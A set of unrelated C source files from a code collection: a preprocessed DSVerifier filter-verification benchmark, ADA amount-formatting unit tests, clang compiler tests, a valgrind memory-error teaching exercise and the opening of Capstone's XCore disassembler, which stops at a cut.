# 47 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h"
extern filter_parameters filter;
extern implementation impl;
extern digital_system ds;
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h"
void resp_mag(double* num, int lnum, double* den, int lden, double* res, int N) {
double w;
int m, i;
double out_numRe[N + 1];
double out_numIm[N + 1];
double out_denRe[N + 1];
double out_denIm[N + 1];
double old_out_Re;
double zero_test;
for (w = 0, i = 0; w <= 3.14159265358979323846; w += 3.14159265358979323846 / N, ++i) {
out_numRe[i] = num[0];
out_numIm[i] = 0;
for (m = 1; m < lnum; ++m) {
old_out_Re = out_numRe[i];
out_numRe[i] = cosTyl(w, 6) * out_numRe[i] - sinTyl(w, 6) * out_numIm[i] + num[m];
out_numIm[i] = sinTyl(w, 6) * old_out_Re + cosTyl(w, 6) * out_numIm[i];
}
out_denRe[i] = den[0];
out_denIm[i] = 0;
for (m = 1; m < lden; ++m) {
old_out_Re = out_denRe[i];
out_denRe[i] = cosTyl(w, 6) * out_denRe[i] - sinTyl(w, 6) * out_denIm[i] + den[m];
out_denIm[i] = sinTyl(w, 6) * old_out_Re + cosTyl(w, 6) * out_denIm[i];
}
res[i] = sqrt3(out_numRe[i] * out_numRe[i] + out_numIm[i] * out_numIm[i]);
zero_test = sqrt3(out_denRe[i] * out_denRe[i] + out_denIm[i] * out_denIm[i]);
__DSVERIFIER_assume(zero_test != 0);
res[i] = res[i] / zero_test;
}
}
int verify_magnitude(void) {
int freq_response_samples = 100;
double w;
double w_incr = 1.0 / freq_response_samples;
double res[freq_response_samples+1];
int i,j;
fxp_t a_fxp[ds.a_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
double _a[ds.a_size];
fxp_to_double_array(_a, a_fxp, ds.a_size);
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
double _b[ds.b_size];
fxp_to_double_array(_b, b_fxp, ds.b_size);
resp_mag(ds.b, ds.b_size, ds.a, ds.a_size, res, freq_response_samples);
if (filter.type == 1) {
for (i = 0, w = 0; (w <= 1.0); ++i, w += w_incr) {
if (w <= filter.wp) {
__DSVERIFIER_assert_msg(res[i] >= filter.Ap, "|----------------Passband Failure-------------|");
} else if (w == filter.wc) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ac, "|-------------Cutoff Frequency Failure--------|");
} else if ((w >= filter.wr) && (w <= 1)) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ar, "|----------------Stopband Failure-------------|");
}
}
} else if (filter.type == 2) {
for (i = 0, w = 0; (w <= 1.0); ++i, w += w_incr) {
if (w <= filter.wr) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ar, "|----------------Stopband Failure-------------|");
} else if (w == filter.wc) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ac, "|-------------Cutoff Frequency Failure--------|");
} else if ((w > filter.wp) && (w <= 1)) {
__DSVERIFIER_assert_msg(res[i] >= filter.Ap, "|----------------Passband Failure-------------|");
}
}
} else {
__DSVERIFIER_assert(0);
}
return 0;
}
# 48 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
extern digital_system ds;
extern digital_system plant;
digital_system plant_cbmc;
extern digital_system controller;
extern implementation impl;
extern hardware hw;
extern digital_system_state_space _controller;
extern filter_parameters filter;
unsigned int nondet_uint();
extern void initials();
void validation();
void call_verification_task(void * verification_task);
void call_closedloop_verification_task(void * closedloop_verification_task);
float nondet_float();
double nondet_double();
int main(){
initialization();
validation();
if (1 == 0)
rounding_mode = 0;
else if (1 == 1)
rounding_mode = 1;
else if (1 == 2)
rounding_mode = 2;
if (3 == 3)
{
call_verification_task(&verify_overflow);
}
else if (3 == 2)
{
call_verification_task(&verify_limit_cycle);
}
else if (3 == 6)
{
call_verification_task(&verify_error);
}
else if (3 == 1)
{
call_verification_task(&verify_zero_input_limit_cycle);
}
else if (3 == 4)
{
call_verification_task(&verify_timing_msp_430);
}
else if (3 == 5)
{
call_verification_task(&verify_generic_timing);
}
else if (3 == 7)
{
call_verification_task(&verify_stability);
}
else if (3 == 8)
{
call_verification_task(&verify_minimum_phase);
}
else if (3 == 9)
{
call_closedloop_verification_task(&verify_stability_closedloop_using_dslib);
}
else if (3 == 10)
{
call_closedloop_verification_task(&verify_limit_cycle_closed_loop);
}
else if (3 == 11)
{
call_closedloop_verification_task(&verify_error_closedloop);
}
else if (3 == 12)
{
verify_error_state_space();
}
else if (3 == 16)
{
verify_safety_state_space();
}
else if (3 == 13)
{
verify_controllability();
}
else if (3 == 14)
{
verify_observability();
}
else if (3 == 15)
{
verify_limit_cycle_state_space();
}
else if (3 == 18)
{
call_verification_task(&verify_magnitude);
}
return 0;
}
void validation()
{
if (3 == 12 || 3 == 16 ||
3 == 15 || 3 == 13 ||
3 == 14)
{
if (0 == 0)
{
printf("\n\n********************************************************************************************\n");
printf("* set a K_SIZE to use this property in DSVerifier (use: -DK_SIZE=VALUE) *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
exit(1);
}
initials();
return;
}
if (((3 != 9) && (3 != 10) &&
(3 != 11)) && (ds.a_size == 0 || ds.b_size == 0))
{
printf("\n\n****************************************************************************\n");
printf("* set (ds and impl) parameters to check with DSVerifier *\n");
printf("****************************************************************************\n");
__DSVERIFIER_assert(0);
}
if ((3 == 9) || (3 == 10) ||
(3 == 11))
{
if (controller.a_size == 0 || plant.b_size == 0 || impl.int_bits == 0 )
{
printf("\n\n*****************************************************************************************************\n");
printf("* set (controller, plant, and impl) parameters to check CLOSED LOOP with DSVerifier *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else
{
printf("\n\n*****************************************************************************************************\n");
printf("* set (controller and impl) parameters so that they do not overflow *\n");
printf("*****************************************************************************************************\n");
unsigned j;
for (j = 0; j < controller.a_size; ++j)
{
const double value=controller.a[j];
__DSVERIFIER_assert(value <= _dbl_max);
__DSVERIFIER_assert(value >= _dbl_min);
}
for (j = 0; j < controller.b_size; ++j)
{
const double value=controller.b[j];
__DSVERIFIER_assert(value <= _dbl_max);
__DSVERIFIER_assert(value >= _dbl_min);
}
}
if (controller.b_size > 0)
{
unsigned j, zeros=0;
for (j = 0; j < controller.b_size; ++j)
{
if (controller.b[j]==0)
++zeros;
}
if (zeros == controller.b_size)
{
printf("\n\n*****************************************************************************************************\n");
printf("* The controller numerator must not be zero *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (controller.a_size > 0)
{
unsigned j, zeros=0;
for (j = 0; j < controller.a_size; ++j)
{
if (controller.a[j]==0)
++zeros;
}
if (zeros == controller.a_size)
{
printf("\n\n*****************************************************************************************************\n");
printf("* The controller denominator must not be zero *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (0 == 0)
{
printf("\n\n***************************************************************************************************************\n");
printf("* set a connection mode to check CLOSED LOOP with DSVerifier (use: --connection-mode TYPE) *\n");
printf("***************************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (3 == 0)
{
printf("\n\n***************************************************************************************\n");
printf("* set the property to check with DSVerifier (use: --property NAME) *\n");
printf("***************************************************************************************\n");
__DSVERIFIER_assert(0);
}
if ((3 == 3) || (3 == 2) || (3 == 1) ||
(3 == 10) || (3 == 11) ||
(3 == 4 || 3 == 5) || 3 == 6)
{
if ((10 == 0) && !(0 == 1))
{
printf("\n\n********************************************************************************************\n");
printf("* set a X_SIZE to use this property in DSVerifier (use: --x-size VALUE) *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else if (0 == 1)
{
X_SIZE_VALUE = nondet_uint();
__DSVERIFIER_assume( X_SIZE_VALUE > (2 * ds.a_size));
}
else if (10 < 0)
{
printf("\n\n********************************************************************************************\n");
printf("* set a X_SIZE > 0 *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else
{
X_SIZE_VALUE = 10;
}
}
if ((3 == 0) && (3 != 9) && (3 != 18))
{
printf("\n\n*********************************************************************************************\n");
printf("* set the realization to check with DSVerifier (use: --realization NAME) *\n");
printf("*********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
if (3 == 6 || 3 == 11)
{
if (impl.max_error == 0)
{
printf("\n\n***********************************************************************\n");
printf("* provide the maximum expected error (use: impl.max_error) *\n");
printf("***********************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (3 == 4 || 3 == 5)
{
if (3 == 5 || 3 == 4)
{
if (hw.clock == 0l)
{
printf("\n\n***************************\n");
printf("* Clock could not be zero *\n");
printf("***************************\n");
__DSVERIFIER_assert(0);
}
hw.cycle = ((double) 1.0 / hw.clock);
if (hw.cycle < 0)
{
printf("\n\n*********************************************\n");
printf("* The cycle time could not be representable *\n");
printf("*********************************************\n");
__DSVERIFIER_assert(0);
}
if (ds.sample_time == 0)
{
printf("\n\n*****************************************************************************\n");
printf("* provide the sample time of the digital system (ds.sample_time) *\n");
printf("*****************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
}
if (3 == 18)
{
if (!((filter.Ap > 0) && (filter.Ac >0) && (filter.Ar >0)))
{
printf("\n\n*****************************************************************************\n");
printf("* set values bigger than 0 for Ap, Ac and Ar* \n");
printf("*****************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if ((3 == 7) || (3 == 8) || (3 == 9) ||
(3 == 10) || (3 == 11) || (3 == 12))
{
printf("\n\n******************************************\n");
printf("* Temporarily the cascade modes are disabled *\n");
printf("**********************************************\n");
__DSVERIFIER_assert(0);
}
}
void call_verification_task(void * verification_task)
{
int i = 0;
_Bool base_case_executed = 0;
if (0 == 2)
{
for(i=0; i<ds.b_size; i++)
{
if (ds.b_uncertainty[i] > 0)
{
double factor = ds.b_uncertainty[i];
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.b[i] - factor;
double max = ds.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.b[i] = nondet_double();
__DSVERIFIER_assume((ds.b[i] >= min) && (ds.b[i] <= max));
}
}
for(i=0; i<ds.a_size; i++)
{
if (ds.a_uncertainty[i] > 0)
{
double factor = ds.a_uncertainty[i];
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.a[i] - factor;
double max = ds.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.a[i] = nondet_double();
__DSVERIFIER_assume((ds.a[i] >= min) && (ds.a[i] <= max));
}
}
}
else
{
int i=0;
for(i=0; i<ds.b_size; i++)
{
if (ds.b_uncertainty[i] > 0)
{
double factor = ((ds.b[i] * ds.b_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.b[i] - factor;
double max = ds.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.b[i] = nondet_double();
__DSVERIFIER_assume((ds.b[i] >= min) && (ds.b[i] <= max));
}
}
for(i=0; i<ds.a_size; i++)
{
if (ds.a_uncertainty[i] > 0)
{
double factor = ((ds.a[i] * ds.a_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.a[i] - factor;
double max = ds.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.a[i] = nondet_double();
__DSVERIFIER_assume((ds.a[i] >= min) && (ds.a[i] <= max));
}
}
}
((void(*)())verification_task)();
}
void call_closedloop_verification_task(void * closedloop_verification_task)
{
_Bool base_case_executed = 0;
int i=0;
for(i=0; i<plant.b_size; i++)
{
if (plant.b_uncertainty[i] > 0)
{
double factor = ((plant.b[i] * plant.b_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = plant.b[i] - factor;
double max = plant.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
plant_cbmc.b[i] = nondet_double();
__DSVERIFIER_assume((plant_cbmc.b[i] >= min) && (plant_cbmc.b[i] <= max));
}else{
plant_cbmc.b[i] = plant.b[i];
}
}
for(i=0; i<plant.a_size; i++)
{
if (plant.a_uncertainty[i] > 0)
{
double factor = ((plant.a[i] * plant.a_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = plant.a[i] - factor;
double max = plant.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
plant_cbmc.a[i] = nondet_double();
__DSVERIFIER_assume((plant_cbmc.a[i] >= min) && (plant_cbmc.a[i] <= max));
}
else
{
plant_cbmc.a[i] = plant.a[i];
}
}
((void(*)())closedloop_verification_task)();
}
# 2 "benchmarks/ds-07-impl2.c" 2
digital_system ds = {
.b = { 0.1, -0.09998 },
.b_size = 2,
.a = { 1.0, -1.0 },
.a_size = 2,
.sample_time = 0.02
};
implementation impl = {
.int_bits = 8,
.frac_bits = 8,
.max = 1.0,
.min = -1.0
};
|
the_stack_data/57950237.c
|
#ifdef DEVEL
#include "common.h"
#include "textUtils.h"
#include "testUtils.h"
void testcase_formatAda(
uint64_t amount,
const char* expected
)
{
PRINTF("testcase_formatAda %s\n", expected);
char tmp[30] = {0};
size_t len = str_formatAdaAmount(amount, tmp, SIZEOF(tmp));
EXPECT_EQ(len, strlen(expected));
EXPECT_EQ(strcmp(tmp, expected), 0);
}
void test_formatAda()
{
testcase_formatAda(0, "0.000000 ADA");
testcase_formatAda(1, "0.000001 ADA");
testcase_formatAda(10, "0.000010 ADA");
testcase_formatAda(123456, "0.123456 ADA");
testcase_formatAda(1000000, "1.000000 ADA");
testcase_formatAda(
12345678901234567890u,
"12,345,678,901,234.567890 ADA"
);
{
PRINTF("test_formatAda edge cases");
char tmp[16] = {0};
memset(tmp, 'X', SIZEOF(tmp));
str_formatAdaAmount(0, tmp, 13);
EXPECT_EQ(tmp[12], 0);
EXPECT_EQ(tmp[13], 'X');
EXPECT_THROWS(str_formatAdaAmount(10000000, tmp, 13),
ERR_ASSERT);
EXPECT_EQ(tmp[13], 'X');
}
}
void testcase_formatTtl(
uint64_t ttl,
const char* expected
)
{
PRINTF("testcase_formatTtl %s\n", expected);
{
char tmp[30] = {0};
size_t len = str_formatValidityBoundary(ttl, tmp, SIZEOF(tmp));
EXPECT_EQ(len, strlen(expected));
EXPECT_EQ(strcmp(tmp, expected), 0);
}
{
// check for buffer overflows
char tmp[30] = {0};
EXPECT_THROWS(str_formatValidityBoundary(ttl, tmp, strlen(expected)), ERR_ASSERT);
}
}
void test_formatTtl()
{
// Byron
testcase_formatTtl( 123, "epoch 0 / slot 123");
testcase_formatTtl( 5 * 21600 + 124, "epoch 5 / slot 124");
// Shelley
testcase_formatTtl( 4492800, "epoch 208 / slot 0");
testcase_formatTtl( 4924799, "epoch 208 / slot 431999");
testcase_formatTtl( 4924800, "epoch 209 / slot 0");
// Wrong
testcase_formatTtl(1000001llu * 432000 + 124, "epoch more than 1000000");
testcase_formatTtl( -1ll, "epoch more than 1000000");
}
void testcase_formatUint64(
uint64_t number,
const char* expected
)
{
PRINTF("testcase_formatUint64 %s\n", expected);
{
char tmp[30] = {0};
size_t len = str_formatUint64(number, tmp, SIZEOF(tmp));
EXPECT_EQ(len, strlen(expected));
EXPECT_EQ(strcmp(tmp, expected), 0);
}
{
// check for buffer overflows
char tmp[30] = {0};
EXPECT_THROWS(str_formatUint64(number, tmp, strlen(expected)), ERR_ASSERT);
}
}
void testcase_formatInt64(
int64_t number,
const char* expected
)
{
PRINTF("testcase_formatInt64 %s\n", expected);
{
char tmp[30] = {0};
size_t len = str_formatInt64(number, tmp, SIZEOF(tmp));
EXPECT_EQ(len, strlen(expected));
EXPECT_EQ(strcmp(tmp, expected), 0);
}
{
// check for buffer overflows
char tmp[30] = {0};
EXPECT_THROWS(str_formatInt64(number, tmp, strlen(expected)), ERR_ASSERT);
}
}
void test_formatUint64()
{
testcase_formatUint64( 0, "0");
testcase_formatUint64( 1, "1");
testcase_formatUint64( 4924800, "4924800");
testcase_formatUint64( 4924799, "4924799");
testcase_formatUint64( -1ll, "18446744073709551615");
}
void test_formatInt64()
{
testcase_formatInt64( 0, "0");
testcase_formatInt64( 1, "1");
testcase_formatInt64( 4924800, "4924800");
testcase_formatInt64( 4924799, "4924799");
testcase_formatInt64( -1ll, "-1");
testcase_formatInt64( -922337203685477580, "-922337203685477580");
testcase_formatInt64( INT64_MIN, "-9223372036854775808");
}
void run_textUtils_test()
{
test_formatAda();
test_formatTtl();
test_formatUint64();
test_formatInt64();
}
#endif // DEVEL
|
the_stack_data/64199955.c
|
// RUN: %clang -target x86_64-unknown-linux -fsanitize-coverage=trace-pc-guard %s -S -emit-llvm -o - | FileCheck %s
// RUN: %clang -O1 -target x86_64-unknown-linux -fsanitize-coverage=trace-pc-guard %s -S -emit-llvm -o - | FileCheck %s
// RUN: %clang -O2 -target x86_64-unknown-linux -fsanitize-coverage=trace-pc-guard %s -S -emit-llvm -o - | FileCheck %s
// RUN: %clang -O3 -target x86_64-unknown-linux -fsanitize-coverage=trace-pc-guard %s -S -emit-llvm -o - | FileCheck %s
// RUN: %clang -target x86_64-unknown-linux -fsanitize-coverage=trace-pc-guard %s -S -emit-llvm -flto=thin -o - | FileCheck %s
// RUN: %clang -O2 -target x86_64-unknown-linux -fsanitize-coverage=trace-pc-guard %s -S -emit-llvm -flto=thin -o - | FileCheck %s
// RUN: %clang -target x86_64-unknown-linux -fsanitize-coverage=trace-pc-guard %s -S -emit-llvm -flto -o - | FileCheck %s
// RUN: %clang -O2 -target x86_64-unknown-linux -fsanitize-coverage=trace-pc-guard %s -S -emit-llvm -flto -o - | FileCheck %s
// Verify that -fsanitize-coverage invokes ModuleSanitizerCoveragePass instrumentation.
int foo(int *a) { return *a; }
// CHECK: _sancov_
|
the_stack_data/51700814.c
|
/* Example code for Exercises in C.
Copyright 2014 Allen Downey
License: Creative Commons Attribution-ShareAlike 3.0
*/
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
void free_anything(int *p) {
free(p);
}
int read_element(int *array, int index) {
int x = array[index];
return x;
}
int main()
{
int never_allocated;
int *free_twice = malloc(sizeof (int));
int *use_after_free = malloc(sizeof (int));
int *never_free = malloc(sizeof (int));
int array1[100];
int *array2 = malloc(100 * sizeof (int));
// valgrind does not bounds-check static arrays
//read_element(array1, 2); // *****there is nothing to read, there are no elements in this array******
//read_element(array1, 2);
// but it does bounds-check dynamic arrays
read_element(array2, 2);
read_element(array2, 2);
// and it catches use after free
//free(use_after_free);
*use_after_free = 17;
// never_free is definitely lost
*never_free = 17;
// the following line would generate a warning
// free(&never_allocated);
// but this one doesn't
free_anything(free_twice); //*******change from never allocated to literaly anything that is allocated******
// free(free_twice);
//free(free_twice); // ********cannot free things twice!!!************
free(array2);
free(never_free);
free(use_after_free);// ******need to free this memory that was allocated but never used**************
return 0;
}
//
|
the_stack_data/82153.c
|
// RUN: %clang_cc1 -triple x86_64-apple-macosx10.14 -target-sdk-version=10.14.1 -emit-llvm -o - %s | FileCheck %s
// CHECK: !llvm.module.flags = !{!0
// CHECK: !0 = !{i32 2, !"SDK Version", [3 x i32] [i32 10, i32 14, i32 1]}
|
the_stack_data/122016151.c
|
#include <stdio.h>
#include <string.h>
struct Person // C语言中struct 成员默认都是公有的(public)，C++ class 成员默认都是私有的(private).
{
char name[30];
char address[100];
};
int main()
{
struct Person p;
strcpy(p.name, "Bill");
strcpy(p.address, "花园街5号");
printf("%s, %s\n", p.name, p.address);
printf("hello C!\n");
return 0;
}
|
the_stack_data/115765573.c
|
//===------ XCoreDisassembler.cpp - Disassembler for PowerPC ------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
/* Capstone Disassembly Engine */
/* By Nguyen Anh Quynh <[email protected]>, 2013-2014 */
#ifdef CAPSTONE_HAS_XCORE
#include <stdio.h> // DEBUG
#include <stdlib.h>
#include <string.h>
#include "../../cs_priv.h"
#include "../../utils.h"
#include "../../MCInst.h"
#include "../../MCInstrDesc.h"
#include "../../MCFixedLenDisassembler.h"
#include "../../MCRegisterInfo.h"
#include "../../MCDisassembler.h"
#include "../../MathExtras.h"
static uint64_t getFeatureBits(int mode)
{
// support everything
return (uint64_t)-1;
}
static bool readInstruction16(const uint8_t *code, size_t code_len, uint16_t *insn)
{
if (code_len < 2)
// insufficient data
return false;
// Encoded as a little-endian 16-bit word in the stream.
*insn = (code[0] << 0) | (code[1] << 8);
return true;
}
static bool readInstruction32(const uint8_t *code, size_t code_len, uint32_t *insn)
{
if (code_len < 4)
// insufficient data
return false;
// Encoded as a little-endian 32-bit word in the stream.
*insn = (code[0] << 0) | (code[1] << 8) | (code[2] << 16) | (code[3] << 24);
return true;
}
static unsigned getReg(MCRegisterInfo *MRI, unsigned RC, unsigned RegNo)
{
MCRegisterClass *rc = MCRegisterInfo_getRegClass(MRI, RC);
return rc->RegsBegin[RegNo];
}
static DecodeStatus DecodeGRRegsRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeRRegsRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeBitpOperand(MCInst *Inst, unsigned Val,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeNegImmOperand(MCInst *Inst, unsigned Val,
uint64_t Address, void *Decoder);
static DecodeStatus Decode2RInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus Decode2RImmInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeR2RInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus Decode2RSrcDstInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeRUSInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeRUSBitpInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeRUSSrcDstBitpInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeL2RInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeLR2RInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus Decode3RInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus Decode3RImmInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus Decode2RUSInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus Decode2RUSBitpInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeL3RInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeL3RSrcDstInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeL2RUSInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeL2RUSBitpInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeL6RInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeL5RInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeL4RSrcDstInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
static DecodeStatus DecodeL4RSrcDstSrcDstInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, void *Decoder);
#include "XCoreGenDisassemblerTables.inc"
#define GET_REGINFO_ENUM
#define GET_REGINFO_MC_DESC
#include "XCoreGenRegisterInfo.inc"
static DecodeStatus DecodeGRRegsRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, void *Decoder)
{
unsigned Reg;
if (RegNo > 11)
return MCDisassembler_Fail;
Reg = getReg(Decoder, XCore_GRRegsRegClassID, RegNo);
MCOperand_CreateReg0(Inst, Reg);
return MCDisassembler_Success;
}
static DecodeStatus DecodeRRegsRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, void *Decoder)
{
unsigned Reg;
if (RegNo > 15)
return MCDisassembler_Fail;
Reg = getReg(Decoder, XCore_RRegsRegClassID, RegNo);
MCOperand_CreateReg0(Inst, Reg);
return MCDisassembler_Success;
}
static DecodeStatus DecodeBitpOperand(MCInst *Inst, unsigned Val,
uint64_t Address, void *Decoder)
{
static unsigned Values[] = {
32 /*bpw*/, 1, 2, 3, 4, 5, 6, 7, 8, 16, 24, 32
};
if (Val > 11)
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, Values[Val]);
return MCDisassembler_Success;
}
static DecodeStatus DecodeNegImmOperand(MCInst *Inst, unsigned Val,
uint64_t Address, void *Decoder)
{
MCOperand_CreateImm0(Inst, -(int64_t)Val);
return MCDisassembler_Success;
}
static DecodeStatus Decode2OpInstruction(unsigned Insn, unsigned *Op1, unsigned *Op2)
{
unsigned Op1High, Op2High;
unsigned Combined = fieldFromInstruction_4(Insn, 6, 5);
if (Combined < 27)
return MCDisassembler_Fail;
if (fieldFromInstruction_4(Insn, 5, 1)) {
if (Combined == 31)
return MCDisassembler_Fail;
Combined += 5;
}
Combined -= 27;
Op1High = Combined % 3;
Op2High = Combined / 3;
*Op1 = (Op1High << 2) | fieldFromInstruction_4(Insn, 2, 2);
*Op2 = (Op2High << 2) | fieldFromInstruction_4(Insn, 0, 2);
return MCDisassembler_Success;
}
static DecodeStatus Decode3OpInstruction(unsigned Insn,
unsigned *Op1, unsigned *Op2, unsigned *Op3)
{
unsigned Op1High, Op2High, Op3High;
unsigned Combined = fieldFromInstruction_4(Insn, 6, 5);
if (Combined >= 27)
return MCDisassembler_Fail;
Op1High = Combined % 3;
Op2High = (Combined / 3) % 3;
Op3High = Combined / 9;
*Op1 = (Op1High << 2) | fieldFromInstruction_4(Insn, 4, 2);
*Op2 = (Op2High << 2) | fieldFromInstruction_4(Insn, 2, 2);
*Op3 = (Op3High << 2) | fieldFromInstruction_4(Insn, 0, 2);
return MCDisassembler_Success;
}
#define GET_INSTRINFO_ENUM
#include "XCoreGenInstrInfo.inc"
static DecodeStatus Decode2OpInstructionFail(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
// Try and decode as a 3R instruction.
unsigned Opcode = fieldFromInstruction_4(Insn, 11, 5);
switch (Opcode) {
case 0x0:
MCInst_setOpcode(Inst, XCore_STW_2rus);
return Decode2RUSInstruction(Inst, Insn, Address, Decoder);
case 0x1:
MCInst_setOpcode(Inst, XCore_LDW_2rus);
return Decode2RUSInstruction(Inst, Insn, Address, Decoder);
case 0x2:
MCInst_setOpcode(Inst, XCore_ADD_3r);
return Decode3RInstruction(Inst, Insn, Address, Decoder);
case 0x3:
MCInst_setOpcode(Inst, XCore_SUB_3r);
return Decode3RInstruction(Inst, Insn, Address, Decoder);
case 0x4:
MCInst_setOpcode(Inst, XCore_SHL_3r);
return Decode3RInstruction(Inst, Insn, Address, Decoder);
case 0x5:
MCInst_setOpcode(Inst, XCore_SHR_3r);
return Decode3RInstruction(Inst, Insn, Address, Decoder);
case 0x6:
MCInst_setOpcode(Inst, XCore_EQ_3r);
return Decode3RInstruction(Inst, Insn, Address, Decoder);
case 0x7:
MCInst_setOpcode(Inst, XCore_AND_3r);
return Decode3RInstruction(Inst, Insn, Address, Decoder);
case 0x8:
MCInst_setOpcode(Inst, XCore_OR_3r);
return Decode3RInstruction(Inst, Insn, Address, Decoder);
case 0x9:
MCInst_setOpcode(Inst, XCore_LDW_3r);
return Decode3RInstruction(Inst, Insn, Address, Decoder);
case 0x10:
MCInst_setOpcode(Inst, XCore_LD16S_3r);
return Decode3RInstruction(Inst, Insn, Address, Decoder);
case 0x11:
MCInst_setOpcode(Inst, XCore_LD8U_3r);
return Decode3RInstruction(Inst, Insn, Address, Decoder);
case 0x12:
MCInst_setOpcode(Inst, XCore_ADD_2rus);
return Decode2RUSInstruction(Inst, Insn, Address, Decoder);
case 0x13:
MCInst_setOpcode(Inst, XCore_SUB_2rus);
return Decode2RUSInstruction(Inst, Insn, Address, Decoder);
case 0x14:
MCInst_setOpcode(Inst, XCore_SHL_2rus);
return Decode2RUSBitpInstruction(Inst, Insn, Address, Decoder);
case 0x15:
MCInst_setOpcode(Inst, XCore_SHR_2rus);
return Decode2RUSBitpInstruction(Inst, Insn, Address, Decoder);
case 0x16:
MCInst_setOpcode(Inst, XCore_EQ_2rus);
return Decode2RUSInstruction(Inst, Insn, Address, Decoder);
case 0x17:
MCInst_setOpcode(Inst, XCore_TSETR_3r);
return Decode3RImmInstruction(Inst, Insn, Address, Decoder);
case 0x18:
